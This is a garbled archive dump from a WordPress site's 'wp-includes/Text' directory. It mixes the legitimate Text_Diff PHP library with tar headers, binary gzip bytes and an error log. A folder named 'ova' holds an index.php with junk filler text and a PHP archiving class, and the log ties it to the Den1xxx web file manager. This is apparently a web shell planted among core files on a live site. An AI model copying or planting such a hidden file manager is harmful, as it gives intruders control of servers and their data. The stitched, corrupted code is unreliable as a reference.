$ylim, $xoff, $xlim); } if ($flip) { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->xv[$i]][] = $i; } } else { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->yv[$i]][] = $i; } } $this->lcs = 0; $this->seq[0]= $yoff - 1; $this->in_seq = array(); $ymids[0] = array(); $numer = $xlim - $xoff + $nchunks - 1; $x = $xoff; for ($chunk = 0; $chunk < $nchunks; $chunk++) { if ($chunk > 0) { for ($i = 0; $i <= $this->lcs; $i++) { $ymids[$i][$chunk - 1] = $this->seq[$i]; } } $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks); for (; $x < $x1; $x++) { $line = $flip ? $this->yv[$x] : $this->xv[$x]; if (empty($ymatches[$line])) { continue; } $matches = $ymatches[$line]; reset($matches); while ($y = current($matches)) { if (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; break; } next($matches); } while ($y = current($matches)) { if ($y > $this->seq[$k - 1]) { assert($y <= $this->seq[$k]); /* Optimization: this is a common case: next match is * just replacing previous match. */ $this->in_seq[$this->seq[$k]] = false; $this->seq[$k] = $y; $this->in_seq[$y] = 1; } elseif (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; } next($matches); } } } $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff); $ymid = $ymids[$this->lcs]; for ($n = 0; $n < $nchunks - 1; $n++) { $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks); $y1 = $ymid[$n] + 1; $seps[] = $flip ? array($y1, $x1) : array($x1, $y1); } $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim); return array($this->lcs, $seps); } function _lcsPos($ypos) { $end = $this->lcs; if ($end == 0 || $ypos > $this->seq[$end]) { $this->seq[++$this->lcs] = $ypos; $this->in_seq[$ypos] = 1; return $this->lcs; } $beg = 1; while ($beg < $end) { $mid = (int)(($beg + $end) / 2); if ($ypos > $this->seq[$mid]) { $beg = $mid + 1; } else { $end = $mid; } } assert($ypos != $this->seq[$end]); $this->in_seq[$this->seq[$end]] = false; $this->seq[$end] = $ypos; $this->in_seq[$ypos] = 1; return $end; } /** * Finds LCS of two sequences. * * The results are recorded in the vectors $this->{x,y}changed[], by * storing a 1 in the element for each line that is an insertion or * deletion (ie. is not in the LCS). * * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1. * * Note that XLIM, YLIM are exclusive bounds. All line numbers are * origin-0 and discarded lines are not counted. */ function _compareseq ($xoff, $xlim, $yoff, $ylim) { /* Slide down the bottom initial diagonal. */ while ($xoff < $xlim && $yoff < $ylim && $this->xv[$xoff] == $this->yv[$yoff]) { ++$xoff; ++$yoff; } /* Slide up the top initial diagonal. */ while ($xlim > $xoff && $ylim > $yoff && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) { --$xlim; --$ylim; } if ($xoff == $xlim || $yoff == $ylim) { $lcs = 0; } else { /* This is ad hoc but seems to work well. $nchunks = * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks = * max(2,min(8,(int)$nchunks)); */ $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1; list($lcs, $seps) = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks); } if ($lcs == 0) { /* X and Y sequences have no common subsequence: mark all * changed. */ while ($yoff < $ylim) { $this->ychanged[$this->yind[$yoff++]] = 1; } while ($xoff < $xlim) { $this->xchanged[$this->xind[$xoff++]] = 1; } } else { /* Use the partitions to split this problem into subproblems. */ reset($seps); $pt1 = $seps[0]; while ($pt2 = next($seps)) { $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]); $pt1 = $pt2; } } } /** * Adjusts inserts/deletes of identical lines to join changes as much as * possible. * * We do something when a run of changed lines include a line at one end * and has an excluded, identical line at the other. We are free to * choose which identical line is included. `compareseq' usually chooses * the one at the beginning, but usually it is cleaner to consider the * following identical line to be the "change". * * This is extracted verbatim from analyze.c (GNU diffutils-2.7). */ function _shiftBoundaries($lines, &$changed, $other_changed) { $i = 0; $j = 0; assert(count($lines) == count($changed)); $len = count($lines); $other_len = count($other_changed); while (1) { /* Scan forward to find the beginning of another run of * changes. Also keep track of the corresponding point in the * other file. * * Throughout this code, $i and $j are adjusted together so that * the first $i elements of $changed and the first $j elements of * $other_changed both contain the same number of zeros (unchanged * lines). * * Furthermore, $j is always kept so that $j == $other_len or * $other_changed[$j] == false. */ while ($j < $other_len && $other_changed[$j]) { $j++; } while ($i < $len && ! $changed[$i]) { assert($j < $other_len && ! $other_changed[$j]); $i++; $j++; while ($j < $other_len && $other_changed[$j]) { $j++; } } if ($i == $len) { break; } $start = $i; /* Find the end of this run of changes. */ while (++$i < $len && $changed[$i]) { continue; } do { /* Record the length of this run of changes, so that we can * later determine whether the run has grown. */ $runlength = $i - $start; /* Move the changed region back, so long as the previous * unchanged line matches the last changed one. This merges * with previous changed regions. */ while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) { $changed[--$start] = 1; $changed[--$i] = false; while ($start > 0 && $changed[$start - 1]) { $start--; } assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } /* Set CORRESPONDING to the end of the changed run, at the * last point where it corresponds to a changed run in the * other file. CORRESPONDING == LEN means no such point has * been found. */ $corresponding = $j < $other_len ? $i : $len; /* Move the changed region forward, so long as the first * changed line matches the following unchanged one. This * merges with following changed regions. Do this second, so * that if there are no merges, the changed region is moved * forward as far as possible. */ while ($i < $len && $lines[$start] == $lines[$i]) { $changed[$start++] = false; $changed[$i++] = 1; while ($i < $len && $changed[$i]) { $i++; } assert($j < $other_len && ! $other_changed[$j]); $j++; if ($j < $other_len && $other_changed[$j]) { $corresponding = $i; while ($j < $other_len && $other_changed[$j]) { $j++; } } } } while ($runlength != $i - $start); /* If possible, move the fully-merged run of changes back to a * corresponding run in the other file. */ while ($corresponding < $i) { $changed[--$start] = 1; $changed[--$i] = 0; assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } } } } xdiff.php000064400000004233150554227150006365 0ustar00 * @package Text_Diff */ class Text_Diff_Engine_xdiff { /** */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); /* Convert the two input arrays into strings for xdiff processing. */ $from_string = implode("\n", $from_lines); $to_string = implode("\n", $to_lines); /* Diff the two strings and convert the result to an array. */ $diff = xdiff_string_diff($from_string, $to_string, count($to_lines)); $diff = explode("\n", $diff); /* Walk through the diff one line at a time. We build the $edits * array of diff operations by reading the first character of the * xdiff output (which is in the "unified diff" format). * * Note that we don't have enough information to detect "changed" * lines using this approach, so we can't add Text_Diff_Op_changed * instances to the $edits array. The result is still perfectly * valid, albeit a little less descriptive and efficient. */ $edits = array(); foreach ($diff as $line) { if (!strlen($line)) { continue; } switch ($line[0]) { case ' ': $edits[] = new Text_Diff_Op_copy(array(substr($line, 1))); break; case '+': $edits[] = new Text_Diff_Op_add(array(substr($line, 1))); break; case '-': $edits[] = new Text_Diff_Op_delete(array(substr($line, 1))); break; } } return $edits; } } PKd#[× ova/ova.tarnu[Diff.php.php.tar.gz000064400000006234150550174440010131 0ustar00[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:index.php000064400000233533150550174510006400 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } Diff.php.tar000064400000035000150550174560006720 0ustar00home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } error_log000064400000061734150550174640006503 0ustar00[29-Aug-2025 22:53:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 22:53:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on 